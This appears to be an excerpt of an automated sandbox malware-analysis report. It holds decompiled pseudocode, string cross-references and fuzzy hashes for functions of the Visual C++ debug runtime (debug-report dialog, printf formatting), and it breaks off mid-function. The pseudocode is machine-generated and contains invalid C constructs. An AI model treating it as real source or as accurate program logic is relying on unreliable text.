f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BAC6, 0043BAF6, 0043C114, 0043C144
_woutput_s_l, xrefs: 0043BAFB, 0043C149
("'n' format specifier disabled", 0), xrefs: 0043C108, 0043C14E

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: 23efc841633733aab2a1b4e97efc35d1b22922ea563b4b65f0f714c3b7737a7c
Instruction ID: d4226b9857d7db318ca032101ba7b035cfb2f44971afb6a628c5f9cba2ca42d0
Opcode Fuzzy Hash: 23efc841633733aab2a1b4e97efc35d1b22922ea563b4b65f0f714c3b7737a7c
Instruction Fuzzy Hash: AFA19FB1D002299BDF24DF55CC81BAEB375EB48305F14509AE6097B282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00429997, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429997() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x4040d6;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BDC0(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)(0x405210 +  *(_t64 + 8) * 4)));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422E40(_t53));
					E0041DA20( *(L00422E40(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422E40(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041DF90(E0041DB10(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435870(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D520(0x16);
					E00426030(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BDF0(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429997
0x004299b1
0x004299bf
0x004299b3
0x004299b3
0x004299b3
0x004299cf
0x004299d6
0x004299dd
0x004299e4
0x004299eb
0x004299f2
0x004299f9
0x00429a00
0x00429a07
0x00429a0e
0x00429a15
0x00429a19
0x00429a1a
0x00429a34
0x00429a3b
0x00429a40
0x00429a43
0x00429a4a
0x00429a6b
0x00429a6e
0x00429a73
0x00429a73
0x00429a76
0x00429a7b
0x00429a81
0x00429a87
0x00429aa9
0x00429ab9
0x00429abe
0x00429abe
0x00429ada
0x00429ae7
0x00429aeb
0x00429af5
0x00429af5
0x00429b01
0x00429b0a
0x00429b03
0x00429b03
0x00429b03
0x00429b19

APIs

__snwprintf_s.LIBCMTD ref: 00429A3B
__invoke_watson_if_oneof.LIBCMTD ref: 00429A6E
_wcscpy_s.LIBCMTD ref: 00429AB0
__invoke_watson_if_error.LIBCMTD ref: 00429AB9
___crtMessageBoxW.LIBCMTD ref: 00429AD2
_raise.LIBCMTD ref: 00429AEB

Strings

Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00429A25
(*_errno()), xrefs: 00429A5D
Microsoft Visual C++ Debug Library, xrefs: 00429AC6
Module: , xrefs: 004299B3
__crtMessageWindowA, xrefs: 00429A58, 00429A95
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00429A53, 00429A90
_CrtDbgReport: String too long or IO Error, xrefs: 00429A9F
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00429A9A
..., xrefs: 00429997, 00429A0E

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: e6e3b000dd956f64145f8a95b7ab3133d4efe831eb3f4aeb946c28cdc4589d12
Instruction ID: d28267c3e1b1e31e4faf4c40b21f8d58e7795e6aff613073d9bc82e3c5c50d95
Opcode Fuzzy Hash: e6e3b000dd956f64145f8a95b7ab3133d4efe831eb3f4aeb946c28cdc4589d12
Instruction Fuzzy Hash: 2C3133B5B40228BBCB24DA559C46FDA7375AB48704F4040AEF30976285D6B86AC48F59

Uniqueness

Uniqueness Score: -1.00%

Function 00434C65, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434C65(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E004284A0(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E004283D0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00428410( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E004283D0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00428410( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00434360(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00428410( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E004283D0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C510( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M004356A0))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E00431350( *(_t623 - 0x251) & 0x000000ff, E0041AE20(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00428330( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00428330( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E350();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422E40(_t571))) = 0x16;
													E00422BD0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041ADF0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x4356d8; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M004356C0))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x435700; // 0x4f0e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M004356EC))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x43576c; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435730))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE20(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0x7e8e98dc
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0x8a8e9826
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xc28e9826
																	E00424690(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
